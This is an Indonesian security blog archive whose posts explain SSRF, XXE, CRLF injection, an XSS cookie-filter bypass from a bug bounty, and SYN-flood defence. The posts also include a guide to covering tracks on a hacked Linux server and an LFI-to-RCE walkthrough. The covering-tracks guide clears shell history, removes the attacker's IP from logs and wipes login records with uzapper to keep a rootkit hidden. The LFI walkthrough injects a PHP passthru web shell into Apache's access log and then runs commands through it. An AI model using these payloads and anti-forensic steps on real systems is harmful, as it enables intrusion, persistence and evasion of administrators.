Kamis, 30 Mei 2019

Pengenalan Server-Side Request Forgery (SSRF)

Apa yang dimaksud dengan SSRF?

Pada dasar Server-Side Request Forgery (SSRF) adalah sebuah celah dimana Server yang rentan terhadap SSRF dapat dimanfaatkan untuk melakukan Request. Sebenarnya hanya itulah pengertiannya.

Sebagai contoh:

External SSRF


Gambar di atas adalah contoh dari External SSRF (Basic SSRF), yaitu kondisi dimana Server melakulan request ke luar server (lebih tepatnya melakukan request ke Attacker Host).
External SSRF yang hanya melakukan request namun tidak membawa informasi sensitif adalah celah SSRF yang paling low severity-nya.

Internal SSRF

Ada juga Internal SSRF dimana kita bisa memanfaatkan untuk melakukan request ke local Server itu sendiri (contohnya untuk melakukan Port Scanning).

Gambar di atas adalah sebagai contoh dari Internal SSRF yang tentunya resiko kerentanannya lebih tinggi dari External SSRF yang tidak membawa informasi yang sensitif.

URL Schema

Di atas hanyalah contoh, karena kita hanya menggunakan URL Schema http:// untuk melakukan request, namun ada juga URL Schema lainnya yang dapat digunakan.

  • http://
  • https://
  • file://
  • sftp://
  • gopher://
  • smtp://
  • pop3://
  • dan lain-lain


Dimana masing-masing schema dapat kita manfaatkan untuk mendapatkan severity yang lebih tinggi.
Sebagai contoh yaitu file:// dapat dimanfaatkan untuk membuka internal resource seperti /etc/passwd, smtp:// dapat dimanfaatkan untuk mengirim email menggunakan mail server internal, dan schema yang dapat dimanfaatkan untuk takeover server.

SSRF leads to RCE

Ada juga SSRF yang memiliki severity paling tinggi, yaitu dapat melakukan interaksi langsung ke dalam Server melalui RCE (Remote Code Execution) tentunya melewati protocol-protocol yang ada seperti gopher:// dan lain-lain.

Contoh tool yang sudah banyak dikenal yaitu Gopherus, tool ini akan membantu kalian untuk membuat payload Gopher guna mengeksploitasi SSRF (Server-Side Request Forgery) dan mendapatkan RCE (Remote Code Execution).

Untuk mengetahui lebih lanjut, kalian dapat kunjungi link berikut ini: https://www.prodefence.org/gopherus-generates-gopher-link-for-exploiting-ssrf-and-gaining-rce/.


Tentunya SSRF hanyalah sesimpel itu, namun kalian harus bisa membedakan antara External SSRF yang benar-benar rentan dan yang mana fitur untuk mengambil resource dari luar (contohnya seperti gambar).

Semoga artikel ini bermanfaat.
Share:
Read More

Sabtu, 11 Mei 2019

Apa itu XXE Injection (XML External Entity)?


Sebelum kita masuk kepembahasan celah XXE, saya sarankan kalian harus mengerti dulu tentang XML, mungkin akan saya jelaskan sedikit.

XML adalah singkatan dari Extensible Markup Language, XML sendiri banyak digunakan untuk aktifitas penyajian data (output) dan sering juga digunakan sebagai penerima data (input), atau lebih simpelnya digunakan untuk mengintegrasian data di antara aplikasi yang berbeda-beda.
Tentunya kalau kalian pernah mempelajari tentang API mungkin kalian juga tahu tentang XML.

XML External Entity (XXE Injection)

Pada dasarnya Entity digunakan untuk mendefinisikan sebuah pintasan (shortcut) guna menampung sebuah nilai/karakter. Kalau kita analogikan dalam pemrograman, Entity dapat dikatakan sebagai variable.
Pada dasarnya Entity dapat dideklarasikan menjadi Internal maupun External.

Internal vs External

Internal Entity hanya dapat mendeklarasikan sebuah value yang disetting pada dokumen XML itu sendiri, sedangkan External Entity dapat mendeklarasikan sebuah value yang terdapat diluar dokumen XML, dengan kata lain: dapat mengakses dokumen lain (diluar dokumen XML tersebut).

Lalu apa maksud dengan dapat mengakses diluar dokumen XML itu sendiri?
Ya! Tentu saja dengan External Entity kita dapat membaca file-file berbahaya seperti file konfigurasi, file /etc/passwd, port scanning, dan lain-lain.

Contoh Internal Entity:

<!DOCTYPE root [<!ENTITY data 'isinya'>]><root>&data;</root>

Example:
<!ENTITY data 'isinya'>
Bilamana kita analogikan ke dalam bahasa pemrograman PHP akan terlihat seperti:
$data = 'isinya';

Kemudian
&data;
sama seperti
echo $data;

Contoh External Entity:

<!DOCTYPE root [<!ENTITY data SYSTEM "file:///etc/passwd">]><root>&data;</root>

Example:
<!ENTITY data SYSTEM "file:///etc/passwd">
Bilamana kita analogikan ke dalam bahasa pemrograman PHP akan terlihat seperti:
$data = file_get_contents("/etc/passwd");

Kemudian
&data;
sama seperti
echo $data;

Ilustrasi serangan XXE:


Mengapa XXE Injection bisa terjadi?

XXE terjadi hanya karena XML Parser mengizinkan memanggil Entity dari luar dokumen.

Apa saja yang dapat dieksploitasi dengan XXE?

Tentunya hanya Aplikasi yang menggunakan XML dan XML Parser sebagai media komunikasi (Input/Outputnya).

Sekian.
Share:
Read More

Sabtu, 27 April 2019

Memburu Bug CRLF Injection: Apa itu CRLF Injection?


CRLF Injection

Artikel ini dibuat karena cerita lucu saya setelah mendapatkan 1 Point di BugCrowd (Won't Fix), karena coba-coba mereport celah CRLF Injection pada salah satu subdomain soundcloud.com.

Mungkin celah CRLF Injection ini sangat tidak penting karena suatu hal yang lumrah, seperti memasukan karakter pada umumnya namun sedikit berbeda.

Penjelasan tentang CRLF

CRLF memiliki kepanjangan dari Carriage Return (\r) dan Line Feed (\n) yaitu sebuah karakter yang digunakan untuk menuliskan sebuah garis baru/newline. CRLF Injection adalah sebuah serangan injeksi yang dapat memasukan garis baru pada sebuah konten di-website.

Ini cerita saya tentang coba-coba untuk berburu point BugCrowd menggunakan celah CRLF Injection.
Saya mencoba untuk Search pada subdomain soundcloud.com, menggunakan query:
hello%22world
%22 adalah HTML Encoding dari " (kutip dua), namun tidak terefleksikan menjadi kutip dua karena adanya filter. Kutip dua sendiri sering digunakan untuk mengecek website tersebut rentan XSS atau tidak. Untuk mengetahui karakter HTML Url Encoding lainnya kalian dapat kunjungi link berikut ini: http://krypted.com/utilities/html-encoding-reference/.

Ok, lalu saya mencoba menggunakan query:
hello%0D%0Aworld

  • HTML URL Encoding:
    • %0D = \r
    • %0A = \n

Dari tampilan website hanya menampilkan "hello world", kemudian web tersebut saya view-source ternyata tampilan querynya yaitu:
hello
world
Newline yang saya injeksi ternyata masuk.

Setelah itu saya iseng saja report ke BugCrowd dengan impact manipulasi konten. Saya berani report karena saya berfikir staff BugCrowd tidak seganas staff HackerOne, meskipun saya tau tidak akan mendapatkan reward apa-apa nantinya. Eh ternyata dapet 1 point (Won't Fix), lumayan deh.

Update

Bagaimana untuk testingnya?

Contoh kasus terkait CRLF Injection, kalian bisa gunakan halaman default 404 Not Found pada Apache (Versi: <= 2.4.x).

Normal


Setelah dimasukan karakter CRLF

Memasukan karakter %0a (CRLF)

Memasukan lebih dari 1 CRLF
Memasukan lebih dari 1 CRLF

Gak penting banget sih?

Sebenarnya tujuan saya menulis ini karena ada satu celah yang cukup berbahaya yang setidaknya menggunakan teknik CRLF Injection yaitu HTTP Splitting Response (Server-Side Injection), tapi mungkin akan saya tulis pada artikel selanjutnya terkait vulnerability tersebut.

Semoga bermanfaat.
Share:
Read More

Bug bounty write-up: Bypass Reflected XSS dan bypass blocked document.cookie


Selamat datang pada artikel pertama saya tentang bug bounty write-up. Sebetulnya saya males kalau nulis write-up seperti ini, berhubung saya mau promosi tool "Bashter v4", jadinya saya tulis deh :P.

Kemarin ada yang tanya ke kita nih, pertanyaannya yaitu:

"Bang belajar bug bounty berapa lama?"

Jujur saya baru bulan ini (April 2019) mulai fokus Bug Bounty di BugCrowd, dulu sekitar tahun 2017 sempat juga di HackerOne tapi ditolak mulu jadinya frustasi.

Abstrak

Awalnya saya hanya sedang QC tool Bashter v4 saja, tapi secara tidak sengaja menemukan Bug disalah satu website ecommerce di Negara bagian Timur sana.
Dengan salah satu fitur XSS Detection via URL di Bashter akhirnya saya menemukan celah tersebut.

Note: URL akan dihide karena saya tidak dapat izin untuk di "disclose". Saya cuma mau sharing pengalamannya saja.

Vulnerable link:
https://[REDACTED].com/[REDACTED]/?fbs=Inject_Here

Reflected XSS tersebut terdapat pada tag <a href="... inject here ...".

How to Reproduce

Saya mencoba payload seperti di bawah ini:
https://[REDACTED].com/[REDACTED]/?fbs=%22%20onmouseover=%22alert(73313)%22

Namun aplikasi tidak menerima input tersebut karena output "onmouseover" direplace menjadi NULL.


Bypass onmouseover
Setelah itu saya isang mengubah "onmouseover" menjadi "o<p>nmouseover" dan akhirnya, alert pun muncul.



Kemudian saya report url di bawah ini (dengan risk "Medium"):
https://[REDACTED].com/[REDACTED]/?fbs=%22%20o%3Cp%3Enmouseover=%22alert(73313)%22

Setelah menunggu beberapa jam saya dapat balasan bahwa celah tersebut valid (Yeay! rewarded $100), but i feel something wrong.
Yaitu bounty-nya masuk kedalam range yang paling rendah.
Kemudian saya menanyakan terkait Bounty-nya dan lagi-lagi dibalas dengan cepat.

"The vulnerability that you find is not too dangerous for other users , because we have disabled inputted document object"

Dalam hati "Hum, okay", kemudian saya mengetest untuk menampilkan alert dengan document.cookie.
https://[REDACTED].com/[REDACTED]/?fbs=%22%20o%3Cp%3Enmouseover=%22alert(document.cookie)%22

Ternyata benar, output "document.cookie" direplace menjadi "[removed]".


Bypass blocked document.cookie

Pada akhirnya mental pemberontak saya bangun dan mengatakan dalam hati "are you f*ckin sure?".

Lalu saya meminum kopi dan membuka Google, kemudian mencari-cari artikel dengan keyword:

  • How to save document cookie into variable -document.cookie


Saya menemukan alternatif yaitu menggunakan:
  • document['cookie']


Setelah itu saya kembali membuka celah XSS dan mengganti document.cookie menjadi document['cookie']:

https://[REDACTED].com/[REDACTED]/?fbs=%22%20o%3Cp%3Enmouseover=%22alert(document['cookie'])%22

Dan mulut kotor saya berbicara: "Finally! come to papa b*tch"

Akhirnya dengan menggunakan "document['cookie']", cookie berhasil saya tampilkan pada alert tersebut.


Lalu saya merevisi dan memperjelas report yang telah saya kirimkan sebelumnya.


Timeline:

  • 26 Apr 2019 (1 PM) = Report via HackerOne
  • 26 Apr 2019 (3 PM) = Company: Valid! + rewarded $100
  • 26 Apr 2019 (3 PM) = Asked about Bounty
  • 26 Apr 2019 (6 PM) = Company staff explain that
  • 27 Apr 2019 (1 AM) = Bypass document cookie report sent!
  • 27 Apr 2019 (9 AM) = Resolved + rewarded $150
  • 27 Apr 2019 ( ~~ ) = Time to sleep #EOF :P


Oh iya untuk Bashter yang versi 4 ini belum kita release, masih dalam tahap proses testing dulu yah, untuk yang versi 3 bisa kalian download di github kami.


Terima kasih.
Share:
Read More

Selasa, 27 November 2018

Menangani Syn flood (DDoS-Attack) pada Linux Server menggunakan ConnTrack

Syn flood adalah salah satu serangan DDoS yang menyerang connection pada Server. Pada dasarnya Server sendiri tentunya memiliki connection limit (batas koneksi) untuk para pengaksesnya, disini saya akan ambil contoh yaitu Server yang pernah saya manage memiliki connection limit sekitar 64000 lebih. Syn flood sendiri bertujuan untuk membanjiri connection limit tersebut, jika berhasil memenuhi connection limit, maka user yang lainnya akan kehabisan dan tidak dapat terkoneksi ke dalam Server, karena koneksi sudah penuh.

Ilustrasi Syn flood:
Pada gambar yang sebelah kiri itu koneksi normal, kemudian pada gambar yang sebelah kanan itu menunjukan Syn flood bekerja. Akan saya jelaskan sedikit, Avatar yang berwarna hijau itu adalah seorang attacker, dimana ia sedang melakukan Syn flood.
Attacker mengirim SYN, kemudian server membalas SYN-ACK, setelah itu Attacker tidak membalas ACK, sehingga server masih menunggu, namun koneksinya masih dalam keadaan terisi (menunggu/menyangkut).
Setelah koneksi penuh, Avatar yang berwarna ungu adalah User lain, ia tidak dapat melakukan koneksi ke dalam server karena sudah penuh.

Sesuai judul disini saya akan menjelaskan tentang bagaimana cara tracking dan menangani DDoS Attack (Syn flood) menggunakan ConnTrack.
OK! Kita langsung saja.

1. Connection Tracking menggunakan ConnTrack

Install ConnTrack pada Server:
# apt-get install conntrack

ConnTrack berguna untuk memonitoring dan tracking lalu lintas koneksi yang masuk pada Server.

Note: Untuk tracking connection gunakan super user (root) terlebih dahulu.

Tracking connection yang masuk ke dalam Server menggunakan ConnTrack:
# conntrack -L | awk '{print $5}' | awk -F'=' '{print $2}' | sort | uniq -c | sort

Command di atas berguna untuk mengecek list IP Address yang sedang terkoneksi ke Server. Command tersebut sudah saya modifikasi menggunakan awk, sort, dan uniq guna untuk mencari IP yang paling banyak melakukan tcp handshake kedalam koneksi Server.

Jika kalian menemukan IP yang banyak menembak koneksi kedalam server, kalian dapat melakukan tracking dengan command di bawah ini, guna untuk memfokuskan monitoring pada sebuah IP address, sebagai contoh:
# conntrack -E | grep 127.0.0.1

2. Block IP yang melakukan Syn flood

Bilamana kalian menemukan koneksi yang tidak wajar dari IP tersebut, kalian bisa block menggunakan iptables:
# iptables -A INPUT -s 127.0.0.1 -j REJECT

Tentunya tutorial ini dibuat karena saya sendiri pernah mengalami hal tersebut dan saya mencari quick action untuk menanganinya. Bila kalian yang menemunkan cara yang lebih efektif untuk menangani Syn flood, mohon untuk share dikolom komentar dan bilamana terdapat kesalahan tentang penjelasan pada POST ini kami mohon juga untuk diberikan koreksinya. Sekian tentang artikel ini, mohon maaf kalau ada kesalahan karena kami sendiri masih banyak kekurangan dan butuh bantuan kalian semua.
Arigatou Nee~
Share:
Read More

Minggu, 25 November 2018

Covering Track sederhana pada Linux Server


Tentunya setelah artikel tentang bagaimana cara memasang Rootkit, kita membutuhkan sedikit sentuhan Covering Track, supaya Rootkit yang kita pasang itu tidak mudah untuk ditemukan.

Apa itu Covering Track?
Covering Track adalah upaya untuk menghilangkan jejak setelah melakukan penyerangan terhadap aplikasi maupun server. Berbagai macam cara untuk Covering Track salah satunya yaitu menghilangkan log aktifitas pada sebuah server.

Ok! kita langsung action saja. Hal apa saja yang perlu diperhatikan, mari kita simak.

Manipulasi command history

Mengubah arah file command history
# HISTFILE=/dev/null

Membersihkan command history
# history -c

Mencari IP Public yang kita gunakan pada logfile

Untuk mengetahui IP Public kalian masing-masing tidak perlu repot-repot karena kita dapat menggunakan sedikit bantuan Google, yaitu dengan cara mengetikan "what is my ip" pada search bar Google.

Kemudian kalian dapat trackingnya menggunakan command grep seperti di bawah ini:
# grep -Rni '103.94.XXX.XXX' /var/log/
Sesuaikan pada IP Public yang kalian gunakan, kemudian bersihkan public ip kalian dari log-log terkutuk.
Mengapa tidak langsung dihapus saja lognya?
Tentunya menghapus log adalah tindakan yang gegabah dan akan membuat admin server panik, kemudian hal yang ditakutkan yaitu server yang telah kalian retas itu tidak akan bertahan lama karena akan maintenance dan cleanup secara menyeluruh oleh adminnya.




Bersembunyi

  • WTMP, mencatat setiap ada yang login/logoff
  • UTMP, mencatat siapa yang sedang melakukan akses saat ini
  • Lastlog, mencatat source address user yang melakukan login terakhir

Kalian dapat bersembunyi dengan bantuan tool Uzapper, dapat di-download Source Codenya pada link berikut https://dl.packetstormsecurity.net/groups/shadowpenguin/unix-tools/uzapper.c.

Compile uzapper terlebih dahulu kemudian ketikan command seperti di bawah ini:
./uzapper username
* Sesuaikan dengan username yang kalian gunakan untuk mengakses server tersebut.

Setelah dijalankan username akan hilang dari rekaman utmp, wtmp, dan lastlog.

Sekian tentang cara covering track sederhana di Server Linux, semoga bermanfaat.
Share:
Read More

LFI to RCE - Inject PHP Code ke dalam Access Log


OK, diartikel pertama blog ZeroByte Core ini, kita akan membahas celah yang cukup berbahaya yaitu LFI.

Cerita sedikit, artikel ini adalah penjelasan dari artikel yang sebelumnya diterbitkan pada website medium.com yang ditulis oleh salah satu hacktivism yang saya kenal di Surabaya Hacker Link, yaitu mas Pacenoge (https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0).

Apa itu LFI?

LFI (Local File Inclusion) adalah sebuah vulnerability (celah) yang biasanya terdapat pada Web Application, celah tersebut dimana sang Attacker dapat mengakses seluruh readable file (file yang dapat dibaca oleh semua user biasa atau non-root) hanya melalui input pada aplikasi tersebut (contohnya: Request GET pada sebuah URL).


  • Apakah hanya mengakses saja?
  • Bisakah kita eksekusi sampai kita dapat mengupload sebuah backdoor?


Jawabannya: Bisa!

Kita akan melakukan Injeksi terhadap access log yang digunakan pada web server tersebut tujuannya supaya kita dapat mengeksekusi celah tersebut melewati celah RCE (Remote Code Execution) yang kita buat.

Access Log pada web server itu sendiri adalah sebuah pencatatan (Log) dari seluruh request yang mengakses web server tersebut.

Ok, kita mulai.

Disini saya memiliki sample aplikasi yang terdapat celah LFI.


Contoh URL: http://target.com/index.php?page=main.php

Bagaimana cara memeriksa bahwa URL tersebut rentan terhadap LFI. Kalian dapat mengutak-atik GET pada URL tersebut (contoh: http://target.com/index.php?page=main'.php) bilamana terdapat error, maka dapat dipastikan Web tersebut rentan terhadap LFI.


Atau kalian bisa langsung memeriksa apakah lewat URL tersebut dapat mengambil file configuration pada OS seperti /etc/passwd (contoh: http://target.com/index.php?page=../../../../etc/passwd) bilamana web tersebut menampilkan configuration file, maka dapat dipastikan web tersebut juga rentan terhadap LFI.



LFI to RCE via Access Log

Pertama-tama hal yang harus dilakukan adalah Recon atau mencari dimana file access log tersebut disimpan, dengan cara melihat konfigurasi web server tersebut.

Disini saya ambil contoh target saya menggunakan Apache2 dimana konfigurasi penempatan directory log-nya terdapat di /etc/apache2/envvars. (contoh: http://target.com/index.php?page=../../../../etc/apache2/envvars)


Disini saya mendapatkan informasi bahwa APACHE_LOG_DIR=/var/log/apache2 yang menandakan bahwa log directory apache2 pada target saya terdapat di /var/log/apache2 kemudian saya mencoba membuka /var/log/apache2/access.log.


Ternyata benar bahwasanya access log target saya terdapat di "/var/log/apache2/access.log".
Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log

Setelah itu kita lakukan eksploitasi dengan cara mengirimkan request berupa PHP Code yang berisi funtion berbahaya untuk melakukan RCE.
Disini saya menggunakan cURL untuk menginjeksi PHP Code tersebut kedalam access log.
curl -s -X GET "http://target.com/evil<pre><?php passthru(\$_GET\['cmd'\]);?></pre>";
LFI to RCE via Access Log

Setelah di-injeksi menggunakan payload curl tersebut, kita akses kembali access log-nya sekaligus menggunakan payload shell, disini saya mencoba menjalankan command id.

Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id

LFI to RCE, Upload Shell LFI

Alhasil command id tersebut berhasil dieksekusi, dan sisanya kalian bisa mainkan dengan command-command shell.

Sekian dari artikel terkait "LFI to RCE - Inject PHP Code to Access Log" semoga menambah wawasan kalian untuk melakukan aktifitas hacking. Tujuan artikel ini ditulis karena kami ingin mengedukasi, bilamana terdapat pertanyaan yang sifatnya merusak milik orang lain tidak akan kami jawab, Terima kasih.


Share:
Read More